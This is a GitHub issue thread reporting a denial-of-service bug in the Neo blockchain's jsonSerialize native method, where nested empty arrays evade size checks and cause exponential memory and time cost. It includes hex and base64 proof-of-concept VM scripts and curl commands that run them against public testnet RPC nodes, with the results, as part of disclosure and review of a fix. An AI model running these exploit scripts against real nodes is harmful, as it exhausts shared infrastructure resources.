Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

B**OOM** in jsonSerialize #2527

Closed
vang1ong7ang opened this issue Jul 8, 2021 · 10 comments · Fixed by #2529
Closed

B**OOM** in jsonSerialize #2527

vang1ong7ang opened this issue Jul 8, 2021 · 10 comments · Fixed by #2529
Assignees

Comments

@vang1ong7ang
Copy link
Contributor

vang1ong7ang commented Jul 8, 2021

Threre is a jsonSerialize method provided by StdLib native contract whose impl is below:

[ContractMethod(CpuFee = 1 << 12)]
private static byte[] JsonSerialize(ApplicationEngine engine, StackItem item)
{
return JsonSerializer.SerializeToByteArray(item, engine.Limits.MaxItemSize);
}

public static byte[] SerializeToByteArray(StackItem item, uint maxSize)
{
using MemoryStream ms = new();
using Utf8JsonWriter writer = new(ms, new JsonWriterOptions
{
Indented = false,
SkipValidation = false
});
Stack stack = new();
stack.Push(item);
while (stack.Count > 0)
{
switch (stack.Pop())
{
case Array array:
writer.WriteStartArray();
stack.Push(JsonTokenType.EndArray);
for (int i = array.Count - 1; i >= 0; i--)
stack.Push(array[i]);
break;
case JsonTokenType.EndArray:
writer.WriteEndArray();
break;
case StackItem buffer when buffer is ByteString || buffer is Buffer:
writer.WriteStringValue(buffer.GetString());
break;
case Integer num:
{
var integer = num.GetInteger();
if (integer > JNumber.MAX_SAFE_INTEGER || integer < JNumber.MIN_SAFE_INTEGER)
throw new InvalidOperationException();
writer.WriteNumberValue((double)integer);
break;
}
case Boolean boolean:
writer.WriteBooleanValue(boolean.GetBoolean());
break;
case Map map:
writer.WriteStartObject();
stack.Push(JsonTokenType.EndObject);
foreach (var pair in map.Reverse())
{
if (!(pair.Key is ByteString)) throw new FormatException();
stack.Push(pair.Value);
stack.Push(pair.Key);
stack.Push(JsonTokenType.PropertyName);
}
break;
case JsonTokenType.EndObject:
writer.WriteEndObject();
break;
case JsonTokenType.PropertyName:
writer.WritePropertyName(((StackItem)stack.Pop()).GetString());
break;
case Null _:
writer.WriteNullValue();
break;
default:
throw new InvalidOperationException();
}
if (ms.Position > maxSize) throw new InvalidOperationException();
}
writer.Flush();
if (ms.Position > maxSize) throw new InvalidOperationException();
return ms.ToArray();
}

Although strict restrictions are applied, like below:

if (ms.Position > maxSize) throw new InvalidOperationException();

if (ms.Position > maxSize) throw new InvalidOperationException();

However a carefully constructed StackItem can make the jsonSerialize function drunk in the deep loop showed below.

Actually writer.WriteStartArray(); didn't write any character in the MemoryStream. The ms.Position will always be 0 until a deep loop is finished.

while (stack.Count > 0)
{
switch (stack.Pop())
{
case Array array:
writer.WriteStartArray();
stack.Push(JsonTokenType.EndArray);
for (int i = array.Count - 1; i >= 0; i--)
stack.Push(array[i]);
break;


Under the limitation of MaxStackSize = 2048, the memory cost and time cost are both O(2^510), which lead to a BOOM.


PoC

5601c2104d11c0114d11c001fd0160589d60114d114d12c05312c05824f3
114d114d12c05312c053454511c01f0c0d6a736f6e53657269616c697a65
0c14c0ef39cee0e4e925c6c2a06a79e1440dd86fceac41627d5b5245

Source Code: https://github.com/lazynode/Tanya/pull/2/files


NOTE THAT CURRENTLY THE POC ABOVE HIT ISSUE 2521 FIRST. YOU CANNOT REALLY DEBUG THIS POC UNTIL https://github.com/neo-project/neo/issues/2521 IS RESOLVED.

@dusmart
Copy link

dusmart commented Jul 8, 2021

OOM on my advanced powerful PC.

image

lazynode/Tanya#2 (comment)

@roman-khimov
Copy link
Contributor

PoC

5601c2104d11c0114d11c001fd0160589d60114d114d12c05312c05824f3
114d114d12c05312c053454511c01f0c0d6a736f6e53657269616c697a65
0c14c0ef39cee0e4e925c6c2a06a79e1440dd86fceac41627d5b5245

NeoGo at 0.95.3:

$ curl -s -d '{ "jsonrpc": "2.0", "id": 5, "method": "invokescript", "params": ["VgHCEE0RwBFNEcAB/QFgWJ1gEU0RTRLAUxLAWCTzEU0RTRLAUxLAU0VFEcAfDA1qc29uU2VyaWFsaXplDBTA7znO4OTpJcbCoGp54UQN2G/OrEFifVtSRQ=="] }' https://rpc1t.n3.nspcc.ru:20331 | json_pp 
{
   "jsonrpc" : "2.0",
   "result" : {
      "script" : "VgHCEE0RwBFNEcAB/QFgWJ1gEU0RTRLAUxLAWCTzEU0RTRLAUxLAU0VFEcAfDA1qc29uU2VyaWFsaXplDBTA7znO4OTpJcbCoGp54UQN2G/OrEFifVtSRQ==",
      "state" : "FAULT",
      "stack" : [],
      "gasconsumed" : "64297320",
      "exception" : "error encountered at instruction 85 (SYSCALL): item is too big"
   },
   "id" : 5
}

@shargon
Copy link
Member

shargon commented Jul 9, 2021

It seems the same issue as https://github.com/neo-project/neo/issues/2521 , isn't it?

   at System.Collections.Generic.Queue`1.SetCapacity(Int32 capacity)
   at System.Collections.Generic.Queue`1.Enqueue(T item)
   at Neo.VM.ReferenceCounter.CheckZeroReferred()
   at Neo.VM.ExecutionEngine.PostExecuteInstruction()
   at Neo.VM.ExecutionEngine.ExecuteNext()

@vang1ong7ang
Copy link
Contributor Author

It seems the same issue as #2521 , isn't it?

No, after #2521 is fixed, this issue will be exposed to the sun 🌚

@shargon
Copy link
Member

shargon commented Jul 9, 2021

No, after #2521 is fixed, this issue will be exposed to the sun 🌚

Yes, you are right

@shargon shargon self-assigned this Jul 9, 2021
@shargon
Copy link
Member

shargon commented Jul 9, 2021

@vang1ong7ang could you review #2529 ?

@vang1ong7ang
Copy link
Contributor Author

@vang1ong7ang could you review #2529 ?

IMO it is a very genius patch which exactly fix such problem efficiently. 👏

Also, I think the following test case is worth to be tested to check if there is performance issues.

5601c201fc0160589d6011c05824fa104d11c0114d11c01a60589d60114d
114d12c05312c05824f353454511c001e80360589d604a1f0c0d6a736f6e
53657269616c697a650c14c0ef39cee0e4e925c6c2a06a79e1440dd86fce
ac41627d5b52455824cf45

@dusmart
Copy link

dusmart commented Jul 9, 2021

@vang1ong7ang could you review #2529 ?

IMO it is a very genius patch which exactly fix such problem efficiently. 👏

Also, I think the following test case is worth to be tested to check if there is performance issues.

5601c201fc0160589d6011c05824fa104d11c0114d11c01a60589d60114d
114d12c05312c05824f353454511c001e80360589d604a1f0c0d6a736f6e
53657269616c697a650c14c0ef39cee0e4e925c6c2a06a79e1440dd86fce
ac41627d5b52455824cf45

55 seconds and 11 gas.

➜  ~ curl -d '{ "jsonrpc": "2.0", "id": 1, "method": "invokescript", "params": ["VgHCAfwBYFidYBHAWCT6EE0RwBFNEcAaYFidYBFNEU0SwFMSwFgk81NFRRHAAegDYFidYEofDA1qc29uU2VyaWFsaXplDBTA7znO4OTpJcbCoGp54UQN2G/OrEFifVtSRVgkz0U="] }' http://seed1t.neo.org:20332 | json_pp
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100   460    0   253  100   207      4      3  0:01:09  0:00:55  0:00:14    56
{
   "id" : 1,
   "jsonrpc" : "2.0",
   "result" : {
      "exception" : null,
      "gasconsumed" : "1139771100",
      "script" : "VgHCAfwBYFidYBHAWCT6EE0RwBFNEcAaYFidYBFNEU0SwFMSwFgk81NFRRHAAegDYFidYEofDA1qc29uU2VyaWFsaXplDBTA7znO4OTpJcbCoGp54UQN2G/OrEFifVtSRVgkz0U=",
      "stack" : [],
      "state" : "HALT"
   }
}

@dusmart
Copy link

dusmart commented Jul 9, 2021

@roman-khimov As always seen, neo-go is slightly faster.
44 seconds and 11 gas.

➜  ~ curl -d '{ "jsonrpc": "2.0", "id": 1, "method": "invokescript", "params": ["VgHCAfwBYFidYBHAWCT6EE0RwBFNEcAaYFidYBFNEU0SwFMSwFgk81NFRRHAAegDYFidYEofDA1qc29uU2VyaWFsaXplDBTA7znO4OTpJcbCoGp54UQN2G/OrEFifVtSRVgkz0U="] }' https://rpc1t.n3.nspcc.ru:20331 | json_pp
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100   444  100   237  100   207      5      4  0:00:51  0:00:44  0:00:07    70
{
   "id" : 1,
   "jsonrpc" : "2.0",
   "result" : {
      "gasconsumed" : "1139771100",
      "script" : "VgHCAfwBYFidYBHAWCT6EE0RwBFNEcAaYFidYBFNEU0SwFMSwFgk81NFRRHAAegDYFidYEofDA1qc29uU2VyaWFsaXplDBTA7znO4OTpJcbCoGp54UQN2G/OrEFifVtSRVgkz0U=",
      "stack" : [],
      "state" : "HALT"
   }
}

@roman-khimov
Copy link
Contributor

55 seconds and 11 gas.
@roman-khimov As always seen, neo-go is slightly faster.
44 seconds and 11 gas.

No, that's not the neo-go we're all used to, so nspcc-dev/neo-go#2053 improves it to work more like this:

$ time curl -s -d '{ "jsonrpc": "2.0", "id": 1, "method": "invokescript", "params": ["VgHCAfwBYFidYBHAWCT6EE0RwBFNEcAaYFidYBFNEU0SwFMSwFgk81NFRRHAAegDYFidYEofDA1qc29uU2VyaWFsaXplDBTA7znO4OTpJcbCoGp54UQN2G/OrEFifVtSRVgkz0U="] }' localhost:20332 | json_pp
{
   "jsonrpc" : "2.0",
   "id" : 1,
   "result" : {
      "state" : "HALT",
      "gasconsumed" : "1139771100",
      "script" : "VgHCAfwBYFidYBHAWCT6EE0RwBFNEcAaYFidYBFNEU0SwFMSwFgk81NFRRHAAegDYFidYEofDA1qc29uU2VyaWFsaXplDBTA7znO4OTpJcbCoGp54UQN2G/OrEFifVtSRVgkz0U=",
      "stack" : []
   }
}

real    0m0,825s
user    0m0,027s
sys     0m0,004s

It's not finished/merged yet, but it'll be next week.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

Successfully merging a pull request may close this issue.

4 participants